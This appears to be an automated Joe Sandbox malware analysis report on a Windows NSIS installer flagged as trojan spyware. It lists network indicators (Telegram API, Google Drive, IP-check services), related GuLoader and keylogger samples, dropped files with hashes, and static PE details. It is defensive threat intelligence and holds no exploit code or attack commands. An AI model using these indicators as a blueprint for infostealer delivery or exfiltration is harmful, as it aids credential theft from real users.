
Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.185.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.16.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
142.250.186.142	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588945
Start date and time:	2025-01-11 07:29:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZaRP7yvL1J.exe renamed because original name is a hash value
Original Sample Name:	ef36fbce388a09cd4c3374d0d9dda194745f76edd41dad82e8763ed35abc0299.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 160 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 173.222.162.32, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:32:01	API Interceptor	255x Sleep call for process: ZaRP7yvL1J.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	njVvgA8pEB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
104.21.16.1	NFhRxwbegd.exe	Get hash	malicious	FormBook	Browse	www.kkpmoneysocial.top/86am/
104.21.16.1	JNKHlxGvw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188387cm.n9shteam.in/videolinePipeHttplowProcessorgamelocalTemp.php
193.122.6.168	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	fpIGwanLZi.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ZoRLXzC5qF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	2NJzy3tiny.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
reallyfreegeoip.org	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
api.telegram.org	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	njVvgA8pEB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	prlsqnzspl.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	dZMT94YYwO.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
TELEGRAMRU	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	njVvgA8pEB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
CLOUDFLARENETUS	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	fqbVL4XxCr.exe	Get hash	malicious	FormBook	Browse	104.21.112.1
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	962Zrwh5bU.exe	Get hash	malicious	Azorult	Browse	104.21.75.48
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.16.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.16.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.16.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
3b5074b1b5d032e5620f69f9f700ff0e	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ZFCKpFXpzx.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	ZFCKpFXpzx.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.142 142.250.185.129
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.142 142.250.185.129
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.142 142.250.185.129
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.142 142.250.185.129
	AM983ebb5F.exe	Get hash	malicious	GuLoader	Browse	142.250.186.142 142.250.185.129
	av8XPPpdBc.exe	Get hash	malicious	GuLoader	Browse	142.250.186.142 142.250.185.129
	QNuQ5e175D.exe	Get hash	malicious	GuLoader	Browse	142.250.186.142 142.250.185.129
	7uY105UTJU.exe	Get hash	malicious	GuLoader	Browse	142.250.186.142 142.250.185.129
	QNuQ5e175D.exe	Get hash	malicious	GuLoader	Browse	142.250.186.142 142.250.185.129
	iwEnYIOol8.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.142 142.250.185.129

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4AMVusDMPP.exe	Get hash	malicious	GuLoader	Browse
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	WGi85dsMNp.exe	Get hash	malicious	GuLoader	Browse
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Haskness.Lux

Download File

Process:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
File Type:	data
Category:	dropped
Size (bytes):	50747
Entropy (8bit):	4.563773526289197
Encrypted:	false
SSDEEP:	768:irv9q4WUSh5AEpHgaab1QmvBRRTffuo/nB4+k3/Kt3:uyHgD1QmpRRTffl/Hk30
MD5:	182C133ED7C41234CAFDD2EAC61CA1C1
SHA1:	D32CE0DCE9CC26DA1A198848CA190FC77FBD3DA9
SHA-256:	A2DB61939D473CD0E7FD705C866EFBECFE49DAA021E12D6EA942B5F32C914C65
SHA-512:	85368663B0103C52CBB0270FB2B00FC5A62D155DCE89FA7267C1CD94B9EC11D2668750C8D5AD2217D5809A9074A23BC138D7DE6D68F1CA7A1EC16393478CA830
Malicious:	false
Reputation:	low
Preview:	.....666........&&.....R...U.....\|.ll......;...((((............&&&.....o.u......................rr._..............HHH.....}}....................s...nnn.................................................UUUU..P.......*............XXX............ ..X..zz.....................22..........5.99...........................FFF............--..............uu..................pp.................#..&&&.........:::...W.........................000........;;;;..hhh........F...3.NN.....;................................88..AAA.k..~~.Q............................B.................))..(...............a...................,,,,,..............44.........................ZZ.....c.............................. ..................K..............#....................................G..v."....&....................ww............................k.......555......................E...<<.3.......QQ.RRR.......D.....+...\\\..............Z......===.........EE...kkk................................................%............

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Paagribelsens.Obs

Download File

Process:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
File Type:	data
Category:	dropped
Size (bytes):	289593
Entropy (8bit):	7.724219677663667
Encrypted:	false
SSDEEP:	6144:9zeUK0+qIS7mzu4U3uV2NeUiQVxUcr4EVBMb9W:O0+z7g+Ei0rGE
MD5:	10DA88A1E11725B4AF20D6091391DBFD
SHA1:	0CF9B2FDCA7060E6D0F3E26228FA4B8C53FF5A6D
SHA-256:	8858D0A0749F7A9EBF75CBD2C277B3BEA0EFBD247CF2A32A41394081D68A0A7A
SHA-512:	47C4219261CCF42FA21E9277BEBFFEF9CD609229C5656593F4CA136A770F920C33AFF82F2E3E8CF91A17518D37440767AFB61EFA8977B7D5BB3FFA518057A6FD
Malicious:	false
Reputation:	low
Preview:	.........................{..B...........111..............{{{{....c.....b.ccc.......{..AAAA........................ ...wwww.s.....#####......\|.....888.!..................eeee.......................???????............O....%............7.yy......Z...........rr.......^.UU.xx.PPP............D.$....................NN...............P..qq...QQ..............xxxxxx.......BB.....P...T........................,,.............................$$$$....................l.HH.-................jj....=................%......X........B...................AA.............HHH...gg.......X...................................................YY.S.....................!....d.......!......2....................5.................D..............ggg...............?.rr..'..E........II........i...............S..A...........L..........!.................AAAAAA..................iii.@....~~~.lll..)........................................JJJJ...............rr.......&.BB...DD.YYYY..........JJ........UU..............77.............

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\prepares.pli

Download File

Process:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Temp\nsyB6C9.tmp

Download File

Process:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
File Type:	data
Category:	dropped
Size (bytes):	1464891
Entropy (8bit):	5.499128992455634
Encrypted:	false
SSDEEP:	24576:280+/gS0Yo3xX3y4bz2lWwWo6rSTZyOSu:D0NTYoBXbz2luo6rS1ya
MD5:	9FBE6D24132AA6FFDEE958543AF7D3C1
SHA1:	ABD33699006E7BD87CFE5DE170B4F8E52DADBF24
SHA-256:	0C991D3F963B0C63B31C36A0A863CE9265B529647A64C22067E1703339804CD0
SHA-512:	CD40E789D76F36A8518A2F4F4B04D010E945B4F51F95255FD872DC5CD6B9B0E9F9B1B97F002083C4D247237972DB348426A2BF3CDC91C39E7F83B8FAC3ADE043
Malicious:	false
Preview:	.6......,.......,.......\........!.......4.......5..........................M...i............................H..............................................................................................................................................................................G...J...........\|...h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\ZaRP7yvL1J.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 4AMVusDMPP.exe, Detection: malicious, Browse Filename: 4AMVusDMPP.exe, Detection: malicious, Browse Filename: WGi85dsMNp.exe, Detection: malicious, Browse Filename: WGi85dsMNp.exe, Detection: malicious, Browse Filename: czHx16QwGQ.exe, Detection: malicious, Browse Filename: rXKfKM0T49.exe, Detection: malicious, Browse Filename: b5BQbAhwVD.exe, Detection: malicious, Browse Filename: 9Yn5tjyOgT.exe, Detection: malicious, Browse Filename: 6ZoBPR3isG.exe, Detection: malicious, Browse Filename: V7OHj6ISEo.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.9593152955756885
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ZaRP7yvL1J.exe
File size:	1'011'570 bytes
MD5:	df41e72f1c096d443cefd72755df031f
SHA1:	9d0b7929e7c650812071e38953d45521f8830f5e
SHA256:	ef36fbce388a09cd4c3374d0d9dda194745f76edd41dad82e8763ed35abc0299
SHA512:	28bc913dce2882480d28c6c5604cf4c6d04a251d2c3988c97e23b316b74d5ed34657614f1b579682a11cd8030b526940979d93ca35f343406ab6328dd1865692
SSDEEP:	12288:9jwjW11WewcTeCUNkK0//+NJf01Zczqa28BbkOciEt3Byi4hbI+yM9XG+26tyTWI:9jwKCNCUNw/2NEZSqt8BO3iI2XG+R4WI
TLSH:	C3252308B2F1DA72C02998F55D1AC809AEFAFE239872E0D333921B1DBD39756591DB05
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007F1A08C4D173h
push ebx
call 00007F1A08C5043Dh
cmp eax, ebx
je 00007F1A08C4D169h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F1A08C503B7h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
